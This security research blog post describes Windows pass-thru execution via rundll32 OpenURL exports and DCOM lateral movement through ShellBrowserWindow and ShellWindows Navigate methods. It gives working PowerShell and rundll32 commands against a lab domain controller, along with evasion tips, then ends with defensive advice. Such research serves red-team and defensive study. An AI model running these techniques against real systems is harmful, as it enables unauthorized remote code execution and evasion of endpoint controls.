Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Exe...

Background

Last Wednesday, I had some down time so I decided to hunt around in \System32 to see if I could find anything of potential interest.  I located a few DLL files that shared an interesting export function called OpenURL:

While looking for a quick win, I wanted to see if anything could be invoked without much effort.  Sure enough, url.dll allowed for the execution an HTML application (.hta) using these commands:

rundll32.exe url.dll,OpenURL "local\path\to\harmless.hta" 
rundll32.exe url.dll,OpenURLA "local\path\to\harmless.hta"

After a few more functional tests across platforms, I (prematurely) posted this on Twitter, and the initial feedback was incredibly fast, educational, and humbling.  On one hand, I should have went through a few more test routines to understand what was actually happening under the hood prior to posting.  Conversely, it was incredible to see the instant reaction from some of the best practitioners in the field who helped triage this in what seemed like a matter of minutes. Big thanks to @subTee, @r0wdy_, and @Hexacorn for their rapid analysis!

In short, the HTA was invoked by MSHTA and this description sums it up very well:

“OpenURL/OpenURLA/FileProtocolHandler call ShellExecute with a verb set to NULL – it reaches out to Registry to determine the default handler and since it’s NULL it uses the Default / Open / first available action” – @Hexacorn

Pass-Thru Command Execution with ‘OpenURL’

As depicted in the previous section, three \SYSTEM32 DLLs have exports for the OpenURL function:

• url.dll
• ieframe.dll
• shdocvw.dll (ieframe.OpenURL)

@Hexacorn wrote an excellent post [http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/] about ieframe.dll, shdocvw.dll, and url.dll invocation.  Using a .url file, we can easily invoke pass-thru commands when calling the respective DLLs:

URL File Example (‘calc.url’)

[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe

Command Examples

rundll32.exe ieframe.dll, OpenURL <path to local URL file>
rundll32.exe url.dll, OpenURL <path to local URL file>
rundll32.exe shdocvw.dll, OpenURL <path to local URL file>

Resulting Output

Exposed Methods in the ‘IWebBrowser2’ Interface

Shdocvw.dll and ieframe.dll shared many of the same functions, including those from the IWebBrowser2 interface as depicted in the following screenshot:

This was quite intriguing because I have seen similar implementations of this Interface (and others) elsewhere – most notably as exposed methods in DCOM applications.  You may recall that 2017 was a very interesting year for DCOM research, especially with regard to the awesome lateral movement techniques discovered by @enigma0x3 and other researchers.  Let’s see if we can piggyback on his research and find some other methods…

DCOM Lateral Movement via ‘IWebBrowser2′ Exposed Interfaces

These DCOM applications (and maybe a few more) appear to expose the IWebBrowser2 (or similar) interface:

• InternetExplorer.Application
• ShellBrowserWindow
• ShellWindows

Let’s visit these in more detail….

*Note: Before proceeding, I highly recommend visiting @enigma0x3’s blog for essential background information on DCOM lateral movement techniques, launch permissions, and defensive considerations.

InternetExplorer.Application

TL/DR – Testing for lateral movement with this application did not work in my test case, however, the background knowledge is interesting in preparation for the next section.

In this aforementioned blog post, @Hexacorn describes and references a prior vulnerability (CVE-2016-3353) in ieframe.dll.  Due to a specified marking, .url files could be executed directly via ShellExecuteEx without prompting for a security warning (*Note: Link to vulnerability analysis is in that post).  Fortunately, this vulnerability has been patched, but just like general use with Internet Explorer, we certainly expect to encounter security warnings (aka “sanity checks”) when downloading/opening interesting files (e.g. .url, .hta, .exe, etc).

While testing, IE safeguards prevented remote command execution over the exposed DCOM methods when interacting with iexplore.exe instances.

ShellBrowserWindow

In @enigma0x3’s post, you may recall that ShellBrowserWindow exposes the ShellExecute method, which facilitates lateral movement via remote command execution.  Interestingly, we can execute remote commands by using the Navigate and Navigate2 methods exposed via the IWebBrowser2 interface without the Internet Explorer security constraints.  We will use slightly different variations of these PowerShell one-liners in the subsequent examples:

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate("<path\to\thing.extension>")
 - and -
$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","<remote machine>"))).Navigate2("<path\to\thing.extension>")

Please note the following before proceeding:

• “C08AFD90-F2A1-11D1-8455-00A0C91F3880” is the Class ID (CLSID) for ShellBrowserWindow.
• “9BA05972-F6A8-11CF-A442-00A0C90A8F39” is the Class ID (CLSID) for ShellWindows
• Privileged credentials are necessary in order to connect to the remote machine over DCOM.  This usually means that an attacker has successfully compromised a privileged account with the proper (‘launch’) permissions.  In this case,  we (the attacker) will be using a Domain Admin account to access a Windows 2012 Server [Domain Controller] from a Windows 10 machine [Domain Member].
  • When connecting to Win10 and Win2016 machines in my environment, this method did not appear to work.
• The subsequent examples leverage PowerShell v5.  Sample testing on PowerShell v2 was also successful.
• Avoid using command switches within the Navigate/2 methods.  Attempting to call anything but a file payload pops an error message.  This will be visible if the compromised user account is logged into the target machine, so package those attack payloads accordingly.
• Avoid calling HTA (.hta) files as this will pop a security prompt.
• Avoid using remote payloads over HTTP/S as this will pop an Internet Explorer window without fetching the payload.  However, UNC paths are acceptable for use.

Let’s demonstrate this capability…

“Lateral Movement” via Executable (.exe)

On the Domain Member…

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")

“Lateral Movement” via URL File(.url)

Our URL file…

[InternetShortcut]
URL=file:///c:\windows\system32\calc.exe

On the Domain Member…

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("\\acme01.acme.int\c$\calc.url")

$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("\\acme01.acme.int\c$\calc.url")

On the Domain Controller…

In Procmon, we can see a few familiar modules and functions on the stack:

ShellWindows

Similar to ShellBrowserWindow, ShellWindows also exposes the ShellExecute method.  However, we are going to do a quick demonstration of Navigate/2 to perform similar remote command execution.  We will use the following PowerShell command strings for our example:

$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")
 - and -
$([System.Activator]::CreateInstance([Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")

After running these commands these commands, we get this output:

Woah! That is interesting.  This seems like a candidate for more testing and probably not recommended for operational use at this time :-).  Regardless, this is still pretty neat.

This covers our brief overview for ‘IWebBrowser2’ Navigate/2 DCOM Lateral Movement methods.  These particular methods may not be as ‘flexible’ as other lateral movement techniques, but they may still have utility for Red Teams and attackers.  As always, defenders should keep an eye out for such methods.  Here are a few tips…

Defensive Considerations

For Pass-Thru Command Execution:

• Many of these “pass-thru’ techniques attempt to evade Endpoint Security and/or Application Whitelisting (AWL) solutions.  Enforce strong policies.  Consider using these AppLocker Hardening Rules by @Oddvarmoe.
• COM scriptlet attacks via HTA, VBS, or JS are very common and dangerous.  Consider changing the default handler for these applications (e.g. notepad.exe).  This guide from Adobe may help with GPO deployment.
• Event Log analysis is critical in any enterprise network for proper incident response.  Forward events to a SIEM for centralized monitoring.

For Lateral Movement:

• In general, defenders should capture IOCs provided by @enigma0x3 as well as consider recommendations provided by Philip Tsukerman of CyberReason in this very comprehensive blog post.
• Using these DCOM methods will require privileged access to the remote machine.  Protect privileged domain accounts.  Avoid password re-use across local machine accounts.
• Ensure that defense-in-depth controls, host-based security products, and host monitoring are in place to detect/deter suspicious activity.
• Monitor for suspicious use of PowerShell within the environment.  Enforce Constrained Language Mode wherever/whenever possible (*Note: This may be difficult for privileged accounts).

Conclusion

Thank you for taking the time to read this post! As always, feel free to reach out if you have questions, comments, or feedback.